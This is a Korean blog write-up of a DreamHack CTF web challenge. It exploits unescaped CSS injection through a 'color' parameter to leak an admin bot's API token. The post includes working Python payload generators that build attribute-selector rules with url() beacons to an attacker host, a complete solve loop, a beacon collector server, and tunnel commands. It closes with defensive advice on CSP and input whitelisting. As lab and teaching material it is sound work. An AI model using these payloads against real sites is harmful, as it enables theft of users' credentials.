[🥇 Gold 4] 텍스트는 못 읽어도 속성은 읽힌다 — DreamHack CSS Injection 풀이

2026-07-20·1분 읽기·

[🥇 Gold 4] 텍스트는 못 읽어도 속성은 읽힌다 — DreamHack CSS Injection 풀이

모든 페이지의 <style> 블록에 쿼리스트링 하나가 이스케이프 없이 그대로 꽂힌다. 플래그는 관리자 메모 텍스트 안에 있는데, 처음 세운 계획 — @font-face의 unicode-range로 글자 존재 여부를 외부 요청으로 알아내고 text-indent로 위치를 잘라내는 방법 — 은 실제 브라우저로 검증해보니 완전히 틀렸다. 화면에 안 보이게 잘라낸 글자의 폰트도 브라우저는 똑같이 요청해버린다. 결국 플래그 텍스트가 아니라 마이페이지의 API 토큰이 <input value="..."> 속성으로 노출된다는 걸 발견하고서야 고전적인 속성 선택자 유출로 방향을 틀었다. 관리자 봇을 8번만 왕복시켜 8자리 토큰을 통째로 복원했다.

문제: DreamHack — CSS Injection 분류: Web 난이도: 🥇 Gold 4 FLAG: DH{a036f98c93acba0a04657ec6a6080d0a771a3d24}

Flask + SQLite로 만든 회원제 메모 앱이다. 회원가입하고 로그인하면 메모를 남길 수 있고, /report라는 신고 기능이 있는데 이게 관리자 계정으로 로그인한 셀레니움 봇을 우리가 지정한 내부 경로로 보내주는 전형적인 "관리자 봇 열람" 구조다. 플래그는 관리자 계정의 메모에 평문으로 박혀 있다. 문제는 그 텍스트를 어떻게 뽑아내느냐인데, 이 문제엔 <script> 하나 못 심게 막혀 있다 — 딱 CSS 하나만 주입할 수 있다.

CSS Injection 문제의 회원가입 페이지 — username·password 만 받는 단순한 폼이고, 가입하면 계정마다 소문자 8글자 API 토큰이 하나씩 발급된다
CSS Injection 문제의 회원가입 페이지 — username·password 만 받는 단순한 폼이고, 가입하면 계정마다 소문자 8글자 API 토큰이 하나씩 발급된다

문제 개요

항목내용
문제명CSS Injection
난이도🥇 Gold 4
분류Web
제공 파일main.py, templates/*.html, init.sql, Dockerfile
핵심 기법color 파라미터의 스타일 인젝션 → CSS 속성 선택자로 API 토큰 8자리 유출 → /api/memo로 flag 직접 조회


🔬 정찰 — 이스케이프 안 되는 색상 하나, 그리고 관리자 봇

main.py에서 제일 먼저 눈에 띄는 건 모든 템플릿에 자동으로 끼워지는 context processor다.

@app.context_processor
def background_color():
    color = request.args.get("color", "white")
    return dict(color=color)

그리고 base.html(모든 페이지가 상속) 안에는 이 값을 그대로 꽂아 넣는 스타일 블록이 있다.

<style>
  body{
    background-color: {{ color }};
  }
</style>

Flask의 Jinja2는 기본적으로 {{ }} 값을 자동 이스케이프하지만, 이스케이프 대상은 < > & ' " 다섯 문자뿐이다. CSS 문법은 { } : ; ( ), 영숫자, 슬래시만 있으면 새 규칙을 얼마든지 추가할 수 있어서 — 즉 굳이 따옴표나 꺾쇠를 안 써도 되는 방식으로만 페이로드를 짜면 이 자동 이스케이프를 그냥 통과한다. ?color=red}...새규칙...{background-color:red 형태로 기존 body{} 블록을 일찍 닫고 새 셀렉터를 끼워 넣은 뒤 다시 body{...}로 마무리하면 문법적으로 완전한 CSS가 된다.

플래그는 관리자 계정의 메모에 있다.

execute(
    "INSERT INTO memo (uid, text) VALUES (:uid, :text);",
    {"uid": adminUid[0][0], "text": "FLAG is " + FLAG},
)

이걸 우리가 직접 볼 방법은 없다 — 세션이 다른 사람 것이니까. 그래서 /report가 필요하다.

@app.route("/report", methods=["GET", "POST"])
def report():
    if request.method == "POST":
        path = request.form.get("path")
        if path and path[0] == "/":
            path = path[1:]
        url = f"http://127.0.0.1:8000/{path}"
        if check_url(url):
            flash("success.")
        ...
Report 페이지 — path 입력칸 앞에 http://127.0.0.1:8000/ 이 고정으로 붙어 있다
Report 페이지 — path 입력칸 앞에 http://127.0.0.1:8000/ 이 고정으로 붙어 있다

로그인 없이도 쓸 수 있고, path에 뭘 넣어도 항상 http://127.0.0.1:8000/ 뒤에 이어붙기만 한다 — 즉 외부 URL로 리다이렉트시키는 SSRF는 안 된다. check_url()은 셀레니움으로 헤드리스 크롬을 띄워 administrator 계정으로 로그인한 뒤 우리가 지정한 그 내부 경로를 방문시킨다. 언뜻 보면 "내부 페이지만 보여주니 별 소용없겠다" 싶지만, 그 내부 페이지 안에 우리가 주입한 CSS가 있고, 그 CSS의 url()이 참조하는 리소스 자체는 외부 도메인이어도 아무 제약이 없다. 브라우저의 CSS 리소스 로딩에는 동일 출처 정책이 적용되지 않기 때문이다.



▶🕳️ 삽질 — 폰트 로딩으로 텍스트를 잘라 읽으려다 실측에서 완전히 무너진 계획

플래그 텍스트는 /memo 페이지에 이렇게 렌더된다.

{% for memo in memos %}
    <div class="alert alert-success" role="alert">
        {{ memo[2] }}
    </div>
{% endfor %}

일반 텍스트 노드다. CSS로 특정 속성값을 유출하는 고전적인 방법(input[value^="a"])은 여기 안 통한다 — 속성이 아니니까. 그래서 처음 세운 계획은 @font-face의 unicode-range를 이용한 "글자 존재 탐지" 기법이었다. 특정 유니코드 범위에만 적용되는 커스텀 폰트를 등록해두면, 그 범위의 글자가 화면에 실제로 렌더링될 때만 브라우저가 그 폰트 파일을 요청한다는 원리다. 여기에 text-indent를 음수로 줘서 앞의 N글자를 박스 밖으로 밀어내고 width: 1ch; overflow: hidden으로 딱 한 글자만 보이게 자르면, 위치별로 글자를 하나씩 골라 폰트 존재 여부를 물어볼 수 있을 거라 예상했다.

이 가설이 그럴듯했던 이유는 unicode-range 서브셋팅 자체가 실존하는 브라우저 표준 최적화이기 때문이다. 웹폰트를 유니코드 범위별로 여러 @font-face로 쪼개두면, 브라우저는 문서에 그 범위의 문자가 있을 때만 해당 서브셋 파일을 내려받는다 — 안 쓰는 글리프까지 통째로 받지 않으려는 성능 기능이다. 그러니 "이 폰트 파일이 요청됐다 = 이 문자가 문서 어딘가에 있다"는 등식은 브라우저 표준 동작만으로도 성립한다. 여기에 text-indent·overflow: hidden으로 화면에 보이는 문자를 한 글자로 제한할 수만 있다면, "요청된 폰트 = 지금 그 위치에 보이는 그 한 글자"라는 확장된 등식까지 성립해서 텍스트 노드를 위치별로 통째로 읽어낼 수 있을 것 같았다.

로컬에서 직접 검증해봤다.

requests_seen = []
page.on("request", lambda req: requests_seen.append(req.url))
page.goto("file:///tmp/css_test/test2.html")  # text-indent로 5번째 글자만 노출
.alert-success {
  font-family: 'probe', monospace;
  white-space: nowrap; overflow: hidden;
  width: 1ch; text-indent: -5ch;   /* "FLAG is DH{...}" 중 5번째 글자 'i' 만 노출 */
}
@font-face { font-family: 'probe'; unicode-range: U+0069; src: url(.../font_i.woff2); }
@font-face { font-family: 'probe'; unicode-range: U+0046; src: url(.../font_F.woff2); }
@font-face { font-family: 'probe'; unicode-range: U+0041; src: url(.../font_A.woff2); }
font_probe_test.py 실측 결과 — text-indent 로 화면에서 잘려 안 보이는 F, A 글자의 @font-face 폰트까지 화면에 남은 i 와 똑같이 127.0.0.1:9999 로 전부 요청됐다
font_probe_test.py 실측 결과 — text-indent 로 화면에서 잘려 안 보이는 F, A 글자의 @font-face 폰트까지 화면에 남은 i 와 똑같이 127.0.0.1:9999 로 전부 요청됐다

결과는 완전한 실패였다. text-indent로 화면에서 잘려나간 'F'와 'A'의 폰트까지 'i'와 나란히 전부 요청됐다. overflow: hidden은 페인트(그리기) 단계의 클리핑일 뿐, 레이아웃(글자 배치·글리프 결정) 단계에는 영향을 주지 않는다 — 브라우저는 텍스트 전체를 놓고 어떤 글리프가 필요한지 미리 계산하기 때문에, 화면에 실제로 그려지든 안 그려지든 그 문자가 텍스트 어딘가에 존재하기만 하면 매칭되는 폰트를 무조건 요청한다. column-width로 여러 칼럼을 만들어 특정 칼럼만 보이게 자르는 방식도 똑같이 테스트해봤지만 결과는 동일했다 — 컬럼 분할 역시 텍스트 셰이핑(문자열 전체를 놓고 글리프를 결정하는 단계)보다 뒤에 오는 레이아웃 작업이라, 그 시점엔 이미 어떤 폰트가 필요한지 다 정해진 뒤였기 때문이다. 요컨대 "이 문자가 존재하는가"라는 판단과 "그 문자가 화면 어디에 그려지는가"라는 판단은 렌더링 파이프라인상 완전히 다른 단계에서 이뤄지고, CSS 레이아웃 속성은 후자만 건드릴 수 있을 뿐 이미 끝난 전자의 네트워크 요청을 소급해서 취소할 방법이 없다. 이 접근으로는 "이 문자가 텍스트 어딘가에 존재하는가"만 알 수 있을 뿐, "몇 번째 위치에 있는가"는 절대 알아낼 수 없다는 게 실측으로 확정됐다.


💣 핵심 — 텍스트가 안 되면 속성을 찾는다

방향을 바꿔서 "텍스트 노드 말고, 사용자가 값을 볼 수 있는 다른 데이터가 속성으로 렌더되는 곳이 있는가"를 다시 훑었다. mypage.html에 답이 있었다.

<div class="form-group">
  <label for="InputApitoken">API Token</label>
  <input type="text" class="form-control" id="InputApitoken" readonly value="{{ user[3] }}">
  <button class="btn btn-primary" onclick="TokenCopy()">Copy</button>
</div>
mypage.html 소스 — API 토큰이 화면 텍스트가 아니라 input#InputApitoken 의 value 속성으로 렌더된다
mypage.html 소스 — API 토큰이 화면 텍스트가 아니라 input#InputApitoken 의 value 속성으로 렌더된다

내 계정으로 확인해보니 실제로 이렇게 보인다.

로그인한 뒤 연 mypage 화면 — UID 2, Username tester1 아래 API Token 칸에 내 계정 토큰 tfmtiock 이 input 의 value 속성으로 그대로 들어 있다. 화면 텍스트가 아니라 속성값이라는 점이 뒤에 속성 선택자 오라클이 통하는 이유다
로그인한 뒤 연 mypage 화면 — UID 2, Username tester1 아래 API Token 칸에 내 계정 토큰 tfmtiock 이 input 의 value 속성으로 그대로 들어 있다. 화면 텍스트가 아니라 속성값이라는 점이 뒤에 속성 선택자 오라클이 통하는 이유다

이건 속성이다. CSS 속성 선택자([value^="..."])로 접두사 매칭이 그대로 통한다. 그리고 이 토큰은 apikey_required 데코레이터가 요구하는 바로 그 값이다 — 세션 쿠키 없이 API-KEY 헤더 하나만으로 /api/memo를 호출할 수 있는 만능 열쇠다. 굳이 관리자 봇이 /memo 페이지를 열어서 텍스트를 보여주게 만들 필요가 없어졌다. 관리자의 API 토큰만 훔치면, 그 다음은 우리가 직접 API를 호출하면 끝이다.

주입이 실제로 페이지에 반영되는지부터 눈으로 확인했다.

color 파라미터에 배경/테두리를 바꾸는 CSS를 주입한 결과 — URL 그대로, 페이지 전체 스타일이 바뀐다
color 파라미터에 배경/테두리를 바꾸는 CSS를 주입한 결과 — URL 그대로, 페이지 전체 스타일이 바뀐다

이제 텍스트 대신 속성을 노리는 페이로드로 바꿨다. 소문자 26자 후보를 한 번에 모두 심어서, 실제 값과 일치하는 딱 하나만 반응하게 만든다.

rules = "".join(
    f'input#InputApitoken[value^={c}]{{background:url({ATTACKER}/api/css-leak/pos0-{c})}}'
    for c in "abcdefghijklmnopqrstuvwxyz"
)
payload = f"red}}{rules}body{{background-color:red"

따옴표를 아예 안 썼다는 점이 중요하다 — CSS 속성 선택자 값과 url() 인자는 공백이나 특수문자가 없으면 따옴표 없이도 유효한 문법이라, Jinja2가 이스케이프하는 " '를 애초에 쓸 일이 없다. 내 계정의 실제 토큰(tfmtiock)으로 먼저 검증했다.

attr_validate.py 실행 — 내 세션으로 mypage 를 열어 a~z 26개 속성 선택자를 한꺼번에 주입하자, 실제 토큰 tfmtiock 의 첫 글자에 해당하는 pos0-t 하나만 격리 Kali 수집 서버로 요청을 보냈다
attr_validate.py 실행 — 내 세션으로 mypage 를 열어 a~z 26개 속성 선택자를 한꺼번에 주입하자, 실제 토큰 tfmtiock 의 첫 글자에 해당하는 pos0-t 하나만 격리 Kali 수집 서버로 요청을 보냈다

정확히 pos0-t 하나만 매치됐다 — 실제 토큰 tfmtiock 의 첫 글자와 완전히 일치한다. unicode-range와 달리 속성 선택자는 "이 요소의 이 속성값이 이 문자열로 시작하는가"를 정확히 평가하기 때문에, 위치 정보가 선택자 자체에 이미 들어있어서 앞서 겪은 문제가 아예 발생하지 않는다.

전체 공격 체인 다이어그램 — color 주입부터 /report·관리자 봇·속성 선택자·외부 로그 서버·API 토큰·flag까지
전체 공격 체인 다이어그램 — color 주입부터 /report·관리자 봇·속성 선택자·외부 로그 서버·API 토큰·flag까지

유출을 받을 곳이 필요하다. 처음엔 운영 중인 내 홈페이지에 임시 API 라우트를 하나 붙였는데, 그건 훔친 API 토큰이 운영 서버 access log 에 그대로 쌓인다는 뜻이다. 그래서 수집 서버는 격리한 NAS Kali VM 으로 옮기고 localhost.run 터널로 잠깐만 노출했다.

비컨을 받아 적고, 자리마다 새로 재기 위해 목록을 비울 수 있어야 한다. 그 세 경로가 전부다.

#!/usr/bin/env python3
"""CSS 인젝션 유출용 최소 수집 서버 — 격리 Kali VM 전용.
 
    /api/css-leak/<무엇이든>   비컨. 요청 경로를 기록하고 1x1 GIF 를 돌려준다
    /log                       받은 비컨 목록
    /log/clear                 목록 비우기
"""
import sys, time
from http.server import BaseHTTPRequestHandler, HTTPServer
 
GIF = (b"GIF89a\x01\x00\x01\x00\x80\x00\x00\x00\x00\x00\xff\xff\xff!"
       b"\xf9\x04\x01\x00\x00\x00\x00,\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02D\x01\x00;")
HITS = []
 
 
class H(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path.startswith("/log/clear"):
            HITS.clear()
            return self._send(b"cleared\n", "text/plain")
        if self.path.startswith("/log"):
            return self._send("\n".join(HITS).encode() + b"\n", "text/plain")
        if self.path.startswith("/api/css-leak/"):
            HITS.append("%s %s" % (time.strftime("%H:%M:%S"), self.path))
            return self._send(GIF, "image/gif")
        self.send_response(404); self.end_headers()
ssh kali 'cd ~/atk_css && setsid nohup python3 css_collector.py 8904 > access.log 2>&1 < /dev/null & disown'
ssh kali 'tmux new-session -d -s lhr "ssh -R 80:localhost:8904 nokey@localhost.run"'

🧬 CSS 유출이라는 기법 계열, 그리고 CSP라는 방어선

이번에 실제로 통한 통로는 속성 선택자 하나였지만, CSS 인젝션이 유출 오라클로 악용되는 지점은 이 말고도 여럿 알려져 있다. 속성 선택자([attr^=], [attr*=], [attr$=])는 접두사·부분·접미사 일치를 url()과 엮어 문자 단위로 값을 복원하는 이번 방식이고, **:has()**는 특정 후손이나 상태(:checked, :valid 등)가 있을 때만 매치되는 조건부 선택자라서 값이 속성으로 안 드러나 있어도 DOM 구조·폼 상태를 오라클로 바꿀 수 있어 공격 표면이 더 넓다. **@font-face + unicode-range**는 이번에 우리가 직접 무너뜨린 그 기법이다 — 위치는 못 읽어도 "이 문자가 어딘가에 존재하는가"라는 약한 오라클로는 여전히 유효하다.

이 기법들의 공통 조건은 둘뿐이다. 공격자가 원하는 조건을 표현하는 선택자를 페이지에 주입할 수 있어야 하고, 그 선택자가 매치됐을 때 외부에서 관측 가능한 부작용 — 대개는 url() 기반 네트워크 요청 — 을 일으킬 수 있어야 한다. 이 문제는 두 조건이 다 열려 있었다. {{ color }}가 따옴표 없는 CSS 조각을 그대로 통과시켜 임의 선택자 주입이 가능했고, CSS 리소스 로딩엔 동일 출처 정책이 없어 url()이 완전히 다른 도메인으로도 거리낌 없이 나갔다.

이 둘 중 하나만 끊어도 공격은 성립하지 않는다. style-src가 nonce 화이트리스트였다면 {{ color }}를 그대로 꽂는 이 <style> 블록 자체가 렌더를 거부당했을 것이고 — nonce 없는 인라인 스타일은 CSP 하에서 적용되지 않는다 — img-src/connect-src가 제한돼 있었다면 url(https://<공격자>/...) 같은 외부 요청 자체가 CSP 위반으로 막혔을 것이다. 이 응답엔 Content-Security-Policy 헤더가 통째로 빠져 있었고, 그게 이 공격이 끝까지 자유롭게 성립한 진짜 이유다.


🎯 자체 완결 solve

토큰은 소문자 8글자(token_generate()가 random.choice(string.ascii_lowercase)를 8번 반복)라, 위치마다 26개 후보를 한 페이로드에 다 넣고 /report를 8번만 왕복하면 전체 토큰을 복원할 수 있다.

def leak_next_char(known_prefix, marker):
    clear_log()
    rules = "".join(
        f'input#InputApitoken[value^={known_prefix}{c}]'
        f'{{background:url({LOG_PATH_PREFIX}/{marker}-{c})}}'
        for c in string.ascii_lowercase
    )
    payload = f"red}}{rules}body{{background-color:red"
    requests.post(f"{VM}/report", data={"path": "mypage?color=" + urllib.parse.quote(payload, safe="")})
    time.sleep(1.5)
    for line in read_log_lines():
        if f"{marker}-" in line:
            return line.split(f"{marker}-", 1)[1][0]
 
token = ""
for i in range(8):
    token += leak_next_char(token, f"p{i}")

실제 원격 서버(host3.dreamhack.games:16855)에 8자리를 전부 흘려보낸 뒤, 훔친 토큰으로 /api/memo를 직접 호출했다.

solve.py 전체 실행 — 자리마다 26개 후보를 주입하고 봇 왕복을 폴링하며 8번의 /report 로 관리자 토큰 igxkzmgr 을 한 글자씩 복원한 뒤, 그 토큰을 API-KEY 헤더에 실어 /api/memo 를 호출해 flag 를 받아냈다
solve.py 전체 실행 — 자리마다 26개 후보를 주입하고 봇 왕복을 폴링하며 8번의 /report 로 관리자 토큰 igxkzmgr 을 한 글자씩 복원한 뒤, 그 토큰을 API-KEY 헤더에 실어 /api/memo 를 호출해 flag 를 받아냈다

관리자 봇을 다시 불러들일 필요 없이, 복원한 토큰으로 곧바로 /api/memo를 호출해 flag를 받았다.

@app.route("/api/memo")
@apikey_required
def APImemo():
    memos = execute("SELECT * FROM memo WHERE uid = :uid;", {"uid": request.uid})
    ...
main.py의 apikey_required·APImemo 소스 — 세션이 아니라 API-KEY 헤더의 토큰만으로 인증
main.py의 apikey_required·APImemo 소스 — 세션이 아니라 API-KEY 헤더의 토큰만으로 인증

FLAG: DH{a036f98c93acba0a04657ec6a6080d0a771a3d24}


📝 결론

CSS만으로도 텍스트가 아니라 "속성"이라면 얼마든지 유출된다. unicode-range 기반 텍스트 존재 탐지는 위치 정보를 담지 못한다는 게 실측으로 확인됐지만, HTML 속성값은 CSS 선택자 자체가 정확한 매칭 조건을 표현할 수 있어 훨씬 강력한 채널이 된다. 사용자에게 "복사해서 쓰라"고 보여주는 토큰·키 값은 절대 readonly value="..." 같은 속성 형태로 페이지에 노출시키면 안 된다 — CSS 인젝션 하나만으로도 완전히 털린다. 복사 버튼이 꼭 필요하다면 값을 속성이 아니라 텍스트 노드로 렌더링하고 navigator.clipboard.writeText()로 복사시키는 편이 안전하다 — CSS 속성 선택자는 애초에 텍스트 노드의 내용까지는 질의하지 못하기 때문에, 이 기법 계열 전체에 대한 공격 표면을 구조적으로 줄여준다.

Jinja2 자동 이스케이프는 HTML 컨텍스트만 안전하게 만들어줄 뿐, CSS·JS 컨텍스트는 별도로 지켜야 한다. < > & ' " 다섯 글자만 이스케이프하는 기본 정책은 <script> 주입은 막아도, 따옴표 없이 완결되는 CSS 문법 앞에서는 무력하다. 사용자 입력을 <style> 블록에 그대로 넣는 패턴 자체를 피하고, 꼭 필요하다면 화이트리스트(색상 이름·hex 코드 정규식 검증) 방식으로 값을 제한해야 한다.

API 토큰 검증은 세션과 별개의 신뢰 경계를 만든다는 걸 잊으면 안 된다. apikey_required는 세션 쿠키와 무관하게 API-KEY 헤더의 토큰값만 확인한다 — 편리하지만, 이 토큰이 어떤 경로로든(이번처럼 CSS 인젝션으로도) 유출되는 순간 세션 하이재킹과 동일한 효과를 낸다. 토큰 값 자체를 화면에 노출하는 UI는 필요한 최소한으로 줄이고, 노출이 불가피하면 마스킹(****abcd)을 고려해야 한다.

결국 이 문제는 세 가지가 겹쳐서 뚫렸다 — ① 검증 없는 입력이 <style>에 그대로 삽입되는 인젝션 지점, ② CSP 부재로 임의 선택자 주입과 임의 도메인 url()이 둘 다 허용된 것, ③ 민감한 토큰이 CSS로 질의 가능한 속성값으로 노출된 것. 방어는 이 셋 중 하나만 끊어도 충분하지만, 실무에서는 방어심층(defense-in-depth)으로 셋 다 같이 걸어두는 게 맞다. 가장 근본적인 예방은 사용자 입력이 CSS 컨텍스트에 닿는 기능 자체를 설계에서 빼는 것이다 — 배경색 커스터마이징 같은 부가 기능 하나가 인젝션 표면을 열어준다면, 값을 스타일 문자열에 직접 꽂는 대신 미리 정의된 클래스 이름 중 하나만 고르게 해 렌더링 로직과 사용자 입력을 분리하는 편이 이 표면을 원천적으로 없앤다.

이 글이 도움이 됐나요?

Comments

댓글

0개

댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)

댓글 불러오는 중…

Related

관련 글

3개
[🥇 Gold 3] 비밀번호를 맞히는 대신 비교 대상을 바꾼다 — DreamHack Proton Memo 풀이
blog

[🥇 Gold 3] 비밀번호를 맞히는 대신 비교 대상을 바꾼다 — DreamHack Proton Memo 풀이

메모 편집 기능이 점으로 구분된 속성 경로를 그대로 받아 재귀 setattr 을 돈다. 내 메모 객체에서 출발해 클래스 속성인 Memo.collections 를 타고 들어가면 서버가 만들어 둔 secret 메모의 Password 객체까지 닿는다. 20바이트 난수 비밀번호를 맞히는 대신, 비교에 쓰이는 sha256 해시 한 줄을 내가 아는 값으로 덮어 flag 를 읽었다.
#dreamhack#ctf#web+5
2026-08-13#dreamhack +4
[🥇 Gold 4] 취약점을 찾는 게 아니라 막는 문제 — DreamHack PATCH-1 풀이
blog

[🥇 Gold 4] 취약점을 찾는 게 아니라 막는 문제 — DreamHack PATCH-1 풀이

122줄짜리 Flask 메모 API 에 심어 둔 취약점을 전부 패치해야 flag 가 나오는 문제. f-string SQLi 두 곳, format() 이 만들어 낸 Jinja2 SSTI 와 저장형 XSS, 메모 소유자 검증 누락, 소스에 박힌 secret_key 까지 여섯 군데를 로컬에서 재현해 놓고 고쳤다. 공격만 막고 끝나면 안 되고 SLA(기능 회귀) 도 같이 통과해야 한다.
#dreamhack#ctf#web+8
2026-08-06#dreamhack +4
[🥇 Gold 4] "/index.php/"조차 무해한 코드가 됐다 — DreamHack Relative Path Overwrite Advanced 풀이
blog

[🥇 Gold 4] "/index.php/"조차 무해한 코드가 됐다 — DreamHack Relative Path Overwrite Advanced 풀이

include() 대상 파일명 필터는 완벽해 보였다 — "..", ":", "/"를 전부 막으니 직접적인 LFI는 불가능하다. 그런데 그 필터는 GET 파라미터 하나만 검사할 뿐, 페이지가 상대경로로 불러오는 스크립트 파일까지는 신경 쓰지 않았다. Apache의 rewrite 규칙 하나가 확장자를 슬쩍 빠뜨리는 버그를 갖고 있었고, 그 덕에 스크립트 요청은 항상 404로 떨어져 우리가 요청한 URL을 그대로 반사하는 페이지에 도달한다. 문제는 반사된 텍스트 맨 앞에 우리가 손댈 수 없는 "/index.php/"가 항상 붙는다는 것 — 그런데 JavaScript 문법에서는 이 문자열이 우연히도 "아무 일도 하지 않는 정규식 리터럴"로 파싱된다는 걸 발견하면서 퍼즐이 풀렸다.
#dreamhack#ctf#web+5
2026-07-21#dreamhack +4